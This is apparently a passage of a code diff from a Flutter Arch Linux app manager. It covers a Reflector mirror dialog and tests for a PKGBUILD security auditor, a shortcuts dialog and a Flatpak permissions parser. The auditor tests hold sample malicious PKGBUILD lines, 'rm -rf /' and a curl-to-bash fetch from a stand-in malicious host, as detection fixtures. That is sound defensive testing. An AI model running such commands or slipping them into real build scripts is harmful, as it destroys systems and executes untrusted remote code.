|
||||
Future<void> _loadInitialData() async {
|
||||
setState(() => _isLoading = true);
|
||||
try {
|
||||
final countries = await ReflectorService.getCountries();
|
||||
final current = await ReflectorService.getCurrentActiveMirrors();
|
||||
|
||||
if (mounted) {
|
||||
setState(() {
|
||||
_countries = countries;
|
||||
_currentMirrors = current;
|
||||
_isLoading = false;
|
||||
});
|
||||
}
|
||||
} catch (_) {
|
||||
if (mounted) setState(() => _isLoading = false);
|
||||
}
|
||||
}
|
||||
|
||||
Future<void> _runPreview() async {
|
||||
setState(() {
|
||||
_isTesting = true;
|
||||
_statusMessage = null;
|
||||
});
|
||||
|
||||
try {
|
||||
final results = await ReflectorService.previewMirrors(
|
||||
country: _selectedCountry == 'All' ? null : _selectedCountry,
|
||||
latest: _limit,
|
||||
httpsOnly: _httpsOnly,
|
||||
sort: _sortBy,
|
||||
);
|
||||
|
||||
if (mounted) {
|
||||
setState(() {
|
||||
_previewMirrors = results;
|
||||
_isTesting = false;
|
||||
if (results.isEmpty) {
|
||||
_statusMessage = 'Зеркала не найдены. Попробуйте выбрать другую страну или снять ограничение HTTPS.';
|
||||
_isSuccess = false;
|
||||
} else {
|
||||
_statusMessage = 'Успешно протестировано! Найдено ${results.length} быстрых зеркал.';
|
||||
_isSuccess = true;
|
||||
}
|
||||
});
|
||||
}
|
||||
} catch (e) {
|
||||
if (mounted) {
|
||||
setState(() {
|
||||
_isTesting = false;
|
||||
_statusMessage = 'Ошибка тестирования: $e';
|
||||
_isSuccess = false;
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Future<void> _applyMirrors() async {
|
||||
final password = await AdminService.promptPassword(
|
||||
context,
|
||||
title: 'Оптимизация зеркал репозиториев',
|
||||
reason: 'Для обновления /etc/pacman.d/mirrorlist требуются права администратора.',
|
||||
);
|
||||
|
||||
if (password == null) return;
|
||||
|
||||
setState(() {
|
||||
_isApplying = true;
|
||||
_statusMessage = null;
|
||||
});
|
||||
|
||||
try {
|
||||
final success = await ReflectorService.applyMirrors(
|
||||
password,
|
||||
country: _selectedCountry == 'All' ? null : _selectedCountry,
|
||||
latest: _limit,
|
||||
httpsOnly: _httpsOnly,
|
||||
sort: _sortBy,
|
||||
);
|
||||
|
||||
final updated = await ReflectorService.getCurrentActiveMirrors();
|
||||
|
||||
if (mounted) {
|
||||
setState(() {
|
||||
_isApplying = false;
|
||||
_currentMirrors = updated;
|
||||
if (success) {
|
||||
_statusMessage = '✅ Список зеркал успешно обновлен и сохранен в /etc/pacman.d/mirrorlist!';
|
||||
_isSuccess = true;
|
||||
} else {
|
||||
_statusMessage = '❌ Не удалось применить изменения. Проверьте пароль или подключение к сети.';
|
||||
_isSuccess = false;
|
||||
}
|
||||
});
|
||||
}
|
||||
} catch (e) {
|
||||
if (mounted) {
|
||||
setState(() {
|
||||
_isApplying = false;
|
||||
_statusMessage = '❌ Ошибка: $e';
|
||||
_isSuccess = false;
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
final theme = MacosTheme.of(context);
|
||||
|
||||
return Center(
|
||||
child: Container(
|
||||
width: 620,
|
||||
height: 560,
|
||||
decoration: BoxDecoration(
|
||||
color: theme.canvasColor,
|
||||
borderRadius: BorderRadius.circular(16),
|
||||
border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.12)),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: CupertinoColors.black.withValues(alpha: 0.45),
|
||||
blurRadius: 28,
|
||||
offset: const Offset(0, 10),
|
||||
),
|
||||
],
|
||||
),
|
||||
child: Column(
|
||||
children: [
|
||||
// Шапка
|
||||
Padding(
|
||||
padding: const EdgeInsets.fromLTRB(20, 18, 20, 14),
|
||||
child: Row(
|
||||
children: [
|
||||
Container(
|
||||
width: 38,
|
||||
height: 38,
|
||||
decoration: BoxDecoration(
|
||||
color: const Color(0xFF0A84FF).withValues(alpha: 0.15),
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
),
|
||||
child: const Center(
|
||||
child: MacosIcon(
|
||||
CupertinoIcons.speedometer,
|
||||
color: Color(0xFF0A84FF),
|
||||
size: 22,
|
||||
),
|
||||
),
|
||||
),
|
||||
const SizedBox(width: 14),
|
||||
const Expanded(
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Text(
|
||||
'Оптимизация зеркал (Reflector)',
|
||||
style: TextStyle(
|
||||
fontSize: 16,
|
||||
fontWeight: FontWeight.bold,
|
||||
),
|
||||
),
|
||||
SizedBox(height: 2),
|
||||
Text(
|
||||
'Тестирование пинга и скорости зеркал Arch Linux',
|
||||
style: TextStyle(
|
||||
fontSize: 12,
|
||||
color: CupertinoColors.systemGrey,
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
MacosIconButton(
|
||||
icon: const MacosIcon(CupertinoIcons.xmark, size: 16),
|
||||
onPressed: () => Navigator.of(context).pop(),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
|
||||
const Divider(height: 1, color: CupertinoColors.separator),
|
||||
|
||||
// Контент
|
||||
Expanded(
|
||||
child: _isLoading
|
||||
? const Center(child: ProgressCircle(radius: 14))
|
||||
: SingleChildScrollView(
|
||||
padding: const EdgeInsets.all(20),
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
// Блок параметров
|
||||
Container(
|
||||
padding: const EdgeInsets.all(16),
|
||||
decoration: BoxDecoration(
|
||||
color: theme.dividerColor.withValues(alpha: 0.08),
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.08)),
|
||||
),
|
||||
child: Column(
|
||||
children: [
|
||||
Row(
|
||||
children: [
|
||||
const Expanded(
|
||||
child: Text(
|
||||
'Страна серверов:',
|
||||
style: TextStyle(fontWeight: FontWeight.w500, fontSize: 13),
|
||||
),
|
||||
),
|
||||
MacosPopupButton<String>(
|
||||
value: _selectedCountry,
|
||||
onChanged: (val) {
|
||||
if (val != null) setState(() => _selectedCountry = val);
|
||||
},
|
||||
items: [
|
||||
const MacosPopupMenuItem(
|
||||
value: 'All',
|
||||
child: Text('Весь мир (All)'),
|
||||
),
|
||||
..._countries.map((c) => MacosPopupMenuItem(
|
||||
value: c.name,
|
||||
child: Text('${c.name} (${c.count})'),
|
||||
)),
|
||||
],
|
||||
),
|
||||
],
|
||||
),
|
||||
const SizedBox(height: 12),
|
||||
Row(
|
||||
children: [
|
||||
const Expanded(
|
||||
child: Text(
|
||||
'Количество лучших зеркал:',
|
||||
style: TextStyle(fontWeight: FontWeight.w500, fontSize: 13),
|
||||
),
|
||||
),
|
||||
MacosPopupButton<int>(
|
||||
value: _limit,
|
||||
onChanged: (val) {
|
||||
if (val != null) setState(() => _limit = val);
|
||||
},
|
||||
items: const [
|
||||
MacosPopupMenuItem(value: 3, child: Text('Топ 3')),
|
||||
MacosPopupMenuItem(value: 5, child: Text('Топ 5')),
|
||||
MacosPopupMenuItem(value: 10, child: Text('Топ 10')),
|
||||
MacosPopupMenuItem(value: 20, child: Text('Топ 20')),
|
||||
],
|
||||
),
|
||||
],
|
||||
),
|
||||
const SizedBox(height: 12),
|
||||
Row(
|
||||
children: [
|
||||
const Expanded(
|
||||
child: Text(
|
||||
'Использовать только HTTPS:',
|
||||
style: TextStyle(fontWeight: FontWeight.w500, fontSize: 13),
|
||||
),
|
||||
),
|
||||
MacosSwitch(
|
||||
value: _httpsOnly,
|
||||
onChanged: (val) => setState(() => _httpsOnly = val),
|
||||
),
|
||||
],
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
|
||||
const SizedBox(height: 16),
|
||||
|
||||
// Кнопки предпросмотра
|
||||
Row(
|
||||
children: [
|
||||
PushButton(
|
||||
controlSize: ControlSize.regular,
|
||||
secondary: true,
|
||||
onPressed: _isTesting ? null : _runPreview,
|
||||
child: Row(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
if (_isTesting) ...[
|
||||
const ProgressCircle(radius: 6),
|
||||
const SizedBox(width: 8),
|
||||
] else
|
||||
const MacosIcon(CupertinoIcons.play_arrow, size: 14),
|
||||
const SizedBox(width: 6),
|
||||
const Text('Тестировать (Предпросмотр)'),
|
||||
],
|
||||
),
|
||||
),
|
||||
const Spacer(),
|
||||
PushButton(
|
||||
controlSize: ControlSize.regular,
|
||||
onPressed: _isApplying || _isTesting ? null : _applyMirrors,
|
||||
child: Row(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
if (_isApplying) ...[
|
||||
const ProgressCircle(radius: 6),
|
||||
const SizedBox(width: 8),
|
||||
] else
|
||||
const MacosIcon(CupertinoIcons.checkmark_seal_fill, size: 14),
|
||||
const SizedBox(width: 6),
|
||||
const Text('Применить зеркала'),
|
||||
],
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
|
||||
if (_statusMessage != null) ...[
|
||||
const SizedBox(height: 14),
|
||||
Container(
|
||||
padding: const EdgeInsets.symmetric(horizontal: 12, vertical: 10),
|
||||
decoration: BoxDecoration(
|
||||
color: (_isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed)
|
||||
.withValues(alpha: 0.12),
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
border: Border.all(
|
||||
color: (_isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed)
|
||||
.withValues(alpha: 0.3),
|
||||
),
|
||||
),
|
||||
child: Row(
|
||||
children: [
|
||||
MacosIcon(
|
||||
_isSuccess
|
||||
? CupertinoIcons.check_mark_circled
|
||||
: CupertinoIcons.exclamationmark_triangle,
|
||||
size: 16,
|
||||
color: _isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed,
|
||||
),
|
||||
const SizedBox(width: 8),
|
||||
Expanded(
|
||||
child: Text(
|
||||
_statusMessage!,
|
||||
style: TextStyle(
|
||||
fontSize: 12.5,
|
||||
color: _isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed,
|
||||
),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
],
|
||||
|
||||
const SizedBox(height: 16),
|
||||
|
||||
// Список зеркал
|
||||
if (_previewMirrors.isNotEmpty) ...[
|
||||
const Text(
|
||||
'Результат замера (будут сохранены):',
|
||||
style: TextStyle(fontWeight: FontWeight.bold, fontSize: 13),
|
||||
),
|
||||
const SizedBox(height: 8),
|
||||
..._previewMirrors.map((url) => Container(
|
||||
margin: const EdgeInsets.only(bottom: 6),
|
||||
padding: const EdgeInsets.symmetric(horizontal: 10, vertical: 8),
|
||||
decoration: BoxDecoration(
|
||||
color: theme.dividerColor.withValues(alpha: 0.05),
|
||||
borderRadius: BorderRadius.circular(6),
|
||||
border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.05)),
|
||||
),
|
||||
child: Row(
|
||||
children: [
|
||||
const MacosIcon(CupertinoIcons.link, size: 14, color: Color(0xFF0A84FF)),
|
||||
const SizedBox(width: 8),
|
||||
Expanded(
|
||||
child: Text(
|
||||
url,
|
||||
style: const TextStyle(fontSize: 12, fontFamily: 'monospace'),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
)),
|
||||
] else if (_currentMirrors.isNotEmpty) ...[
|
||||
const Text(
|
||||
'Текущие активные зеркала в системе:',
|
||||
style: TextStyle(fontWeight: FontWeight.bold, fontSize: 13),
|
||||
),
|
||||
const SizedBox(height: 8),
|
||||
..._currentMirrors.take(5).map((url) => Container(
|
||||
margin: const EdgeInsets.only(bottom: 6),
|
||||
padding: const EdgeInsets.symmetric(horizontal: 10, vertical: 8),
|
||||
decoration: BoxDecoration(
|
||||
color: theme.dividerColor.withValues(alpha: 0.05),
|
||||
borderRadius: BorderRadius.circular(6),
|
||||
),
|
||||
child: Row(
|
||||
children: [
|
||||
const MacosIcon(CupertinoIcons.checkmark_alt,
|
||||
size: 14, color: CupertinoColors.systemGrey),
|
||||
const SizedBox(width: 8),
|
||||
Expanded(
|
||||
child: Text(
|
||||
url,
|
||||
style: const TextStyle(
|
||||
fontSize: 12,
|
||||
fontFamily: 'monospace',
|
||||
color: CupertinoColors.systemGrey,
|
||||
),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
)),
|
||||
],
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
import 'package:flutter_test/flutter_test.dart';
|
||||
import 'package:forge/src/services/aur_pkgbuild_service.dart';
|
||||
|
||||
void main() {
|
||||
group('AurPkgbuildService Audit Tests', () {
|
||||
test('passes safe PKGBUILD with clean verdict', () {
|
||||
const safePkgbuild = '''
|
||||
# Maintainer: John Doe <john@example.com>
|
||||
pkgname=hello-world
|
||||
pkgver=1.0.0
|
||||
pkgrel=1
|
||||
arch=('x86_64')
|
||||
source=("https://example.com/hello-world-1.0.0.tar.gz")
|
||||
sha256sums=('SKIP')
|
||||
|
||||
build() {
|
||||
cd "\$srcdir/\$pkgname-\$pkgver"
|
||||
make
|
||||
}
|
||||
|
||||
package() {
|
||||
cd "\$srcdir/\$pkgname-\$pkgver"
|
||||
make DESTDIR="\$pkgdir" install
|
||||
}
|
||||
''';
|
||||
|
||||
final result = AurPkgbuildService.audit(safePkgbuild);
|
||||
expect(result.overallSeverity, SecuritySeverity.safe);
|
||||
expect(result.isSafe, isTrue);
|
||||
expect(result.issues, isEmpty);
|
||||
});
|
||||
|
||||
test('detects dangerous rm -rf / command', () {
|
||||
const maliciousPkgbuild = '''
|
||||
pkgname=bad-actor
|
||||
pkgver=1.0.0
|
||||
package() {
|
||||
rm -rf /
|
||||
}
|
||||
''';
|
||||
|
||||
final result = AurPkgbuildService.audit(maliciousPkgbuild);
|
||||
expect(result.overallSeverity, SecuritySeverity.danger);
|
||||
expect(result.hasDanger, isTrue);
|
||||
expect(result.issues.any((i) => i.ruleName == 'destructive_command'), isTrue);
|
||||
});
|
||||
|
||||
test('detects pipe to shell (curl | bash)', () {
|
||||
const maliciousPkgbuild = '''
|
||||
pkgname=untrusted-app
|
||||
pkgver=1.0.0
|
||||
build() {
|
||||
curl -sSL https://malicious.com/install.sh | bash
|
||||
}
|
||||
''';
|
||||
|
||||
final result = AurPkgbuildService.audit(maliciousPkgbuild);
|
||||
expect(result.overallSeverity, SecuritySeverity.danger);
|
||||
expect(result.issues.any((i) => i.ruleName == 'pipe_to_shell'), isTrue);
|
||||
});
|
||||
|
||||
test('detects warning for git clone inside build()', () {
|
||||
const warningPkgbuild = '''
|
||||
pkgname=git-puller
|
||||
pkgver=1.0.0
|
||||
build() {
|
||||
git clone https://github.com/example/repo.git
|
||||
}
|
||||
''';
|
||||
|
||||
final result = AurPkgbuildService.audit(warningPkgbuild);
|
||||
expect(result.overallSeverity, SecuritySeverity.warning);
|
||||
expect(result.hasWarnings, isTrue);
|
||||
expect(result.issues.any((i) => i.ruleName == 'network_in_build'), isTrue);
|
||||
});
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter_test/flutter_test.dart';
|
||||
import 'package:macos_ui/macos_ui.dart';
|
||||
import 'package:forge/src/ui/widgets/keyboard_shortcuts_dialog.dart';
|
||||
|
||||
void main() {
|
||||
testWidgets('KeyboardShortcutsDialog renders all shortcuts', (tester) async {
|
||||
await tester.pumpWidget(
|
||||
const MacosApp(
|
||||
home: Scaffold(
|
||||
body: KeyboardShortcutsDialog(),
|
||||
),
|
||||
),
|
||||
);
|
||||
|
||||
expect(find.text('Горячие клавиши Forge'), findsOneWidget);
|
||||
expect(find.text('Быстрый поиск приложений (Spotlight)'), findsOneWidget);
|
||||
expect(find.text('Понятно'), findsOneWidget);
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
import 'package:flutter_test/flutter_test.dart';
|
||||
import 'package:forge/src/services/flatpak_permissions_service.dart';
|
||||
|
||||
void main() {
|
||||
group('FlatpakPermissionsService Parser Tests', () {
|
||||
test('parses basic permissions from manifest correctly', () {
|
||||
const manifest = '''
|
||||
[Application]
|
||||
name=org.example.App
|
||||
|
||||
[Context]
|
||||
shared=ipc;network;
|
||||
sockets=pulseaudio;x11;
|
||||
devices=dri;
|
||||
filesystems=host;
|
||||
''';
|
||||
const overrides = '';
|
||||
|
||||
final perms = FlatpakPermissionsService.parsePermissions('org.example.App', manifest, overrides);
|
||||
expect(perms.network, isTrue);
|
||||
expect(perms.socketPulseaudio, isTrue);
|
||||
expect(perms.socketX11, isTrue);
|
||||
expect(perms.deviceDri, isTrue);
|
||||
expect(perms.filesystemHost, isTrue);
|
||||
expect(perms.filesystemHome, isTrue); // host implies home
|
||||
expect(perms.hasOverrides, isFalse);
|
||||
});
|
||||
|
||||
test('respects user overrides (disabling network and x11)', () {
|
||||
const manifest = '''
|
||||
[Context]
|
||||
shared=ipc;network;
|
||||
sockets=pulseaudio;x11;wayland;
|
||||
''';
|
||||
const overrides = '''
|
||||
[Context]
|
||||
shared=!network;
|
||||
sockets=!x11;
|
||||
''';
|
||||
|
||||
final perms = FlatpakPermissionsService.parsePermissions('org.example.App', manifest, overrides);
|
||||
expect(perms.network, isFalse);
|
||||
expect(perms.socketX11, isFalse);
|
||||
expect(perms.socketWayland, isTrue);
|
||||
expect(perms.socketPulseaudio, isTrue);
|
||||
expect(perms.hasOverrides, isTrue);
|
||||
});
|
||||
});
|
||||
}
|
||||
Reference in New Issue
Block a user